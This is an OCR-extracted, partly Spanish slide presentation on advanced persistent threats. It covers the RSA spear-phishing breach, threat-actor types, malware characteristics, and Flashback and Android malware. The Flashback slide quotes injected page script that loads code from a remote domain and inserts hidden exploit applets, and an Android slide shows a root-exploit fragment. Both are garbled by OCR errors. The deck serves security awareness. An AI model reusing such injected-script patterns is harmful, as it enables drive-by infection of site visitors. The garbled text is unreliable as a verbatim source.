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Anatomia de un ataque

RSA

SECURITY

http://blogs.rsa.com/rivher/anatomy-of-an-attack/



http://blogs.rsa.com/rivner/anatomy-of-an-attack/

Acciones previas al atagque

Lo primero que hicieron los hackers detras de la APT fué buscar informacién pudblicamente disponible sobre

* empleados especificos, principalmente redes sociales.
Una vez que consiguieron la informacién, enviaron a esos usuarios un correo electronico tipo Spear Phishing.
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¢Como sucedio el ataque?

El atacante envio dos correos electréonicos diferentes durante un
periodo de dos dias.

Los dos correos electronicos fueron enviados a dos pequenos grupos
de empleados sin importar que fueran de alto perfil.

El correo electrénico fue disenado lo suficientemente bien como
para truco, uno de los empleados lo recuperara de su carpeta de
correo no deseado y abriera el archivo de excel adjunto.

La hoja de calculo contenia una vulnerabilidad de dia cero que
instalaba una puerta trasera a través de una vulnerabilidad en
Adobe Flash (CVE-2011-0609).
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Una vez abierto el correo....
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El

resultado $ 66.3 mdd.
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http://www.govinfosecurity.com/articles.php?art id=3913
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Cuatro principales tipos de ataque

THREAT ACTOR | EXAMPLE | TARGETS | OBJECTIVE

Criminal Credit Card Theft Enterprises that process Financial Gain
credit cards or handle money
such as retailers, banks,
credit card processors,

Hacktivists Anonymaous Anyane Defamation, Press,

Fublic Policy
LulzSec

Economic Advanced Persistent Wirtually any industry with Economic Advantage

Espionage Threat {APT) an emphasis on blue chip
companies and defense
companies.

Muisance Botnets, Spam Anyone, including individuals, | Launch points,
small companies and large nuisance, often
enterprises. consumer-based

threats.

wiww. mandiant.com



. Estas empresas implementan cualquier combinacion imaginable
de seguridad perimetral, seguridad end-point, campanas de
sensibilizaciéon al usuario final, politicas y controles.




Characterizing Malware

Stealth level

Ranges from high to low. Does the
malware actively hide or cloak itself using
techniques like polymorphism or code
obfuscation?

Targeted
vulnerability

Malware can range from code that
targets known, unpatched vulnerabilities
to those that target unknown
vulnerabilities, known as "zero-hour”
attacks.

Intended victim(s)

Malware can attack indiscriminately, or it
can target specific victims.

Objectives

Mahaare can be used to cause mischief
or as a tool for organized theft and
cyber crime,




MNetwork Malware Protection Technigues

SIGMATURES LISTS
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2011 - 2012 Targets




Flashback / Flashfake

<scri pt

src="http://domaj nnanme. rr.nu/ nl.php?
p=d" ></ S\Eq rabilities exploited:

CVE2008-5353 ("deserializing Calendar objects")
CVE2011-3544
CVE2012-0507

1f(rts I'= "on"){
docunent. wite(' <appl et
archive="rh-3.jar"
code="rhcl s" w dth="1"
hei ght =" 1" ></ appl et >' ) ;
docunent. wite(' <appl et
archive="cl-3.jar"
code="nsf/ x/ Appl et X"

wi dt h="1"

hei ght =" 1" ></ appl et >' ) ;
}



http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5353
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-3544
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-0507
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Alexander Gostev - Global Research and Analysis Team at Kaspersky Lab http://www.securelist.com



http://www.securelist.com/en/userinfo/7053
http://www.securelist.com/en/userinfo/7053
http://www.securelist.com/
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Hese is the classic version of faling down game. This game is a simple but
fast.paced and addictive game. Just tik your device or use frackbal or touch
gereen [depe...

ﬂ Super Guitar Solo
WFOUANET ¢ ENTERTAINNENT

l l e e
| msTaLL |
Supar Guitar Salo, Android's most popular pocket guitar played by Enc

Clagton on TV Super Guabar Solo = Andids moat popular wiissl guitar. Uss
il to play b you....

private boolean runExploidi()
{
int i = 0O;
File localFilel
File localFile’?

thiz.ctx.getFileaDir():
new File{localFilel, "rageagainstthecage™):

Tim - Global Research and Analysis Team at Kaspersky Lab http://www.securelist.com



http://www.securelist.com/en/userinfo/2059
http://www.securelist.com/




La solucion
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Analisis de Topologia Vulnerable
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México en nhumeros

Distrito federal 4872116 318481
- 4622291 313378
quintana roo 336357 35007
nuevo leon 389071 26309
jalisco 342151 23494
mexico 228796 16139
veracruz-llave 90464 7728
puebla 124722 6476
baja california 99374 5082
chihuahua 42742 4610
morelos 54586 4610
queretaro de 46559 3873

arteaga



Conclusion




"The highest technique is to have no technigue
My technique is a result of your technique; my
movement is a result of your movement.”

— Bruce Lee
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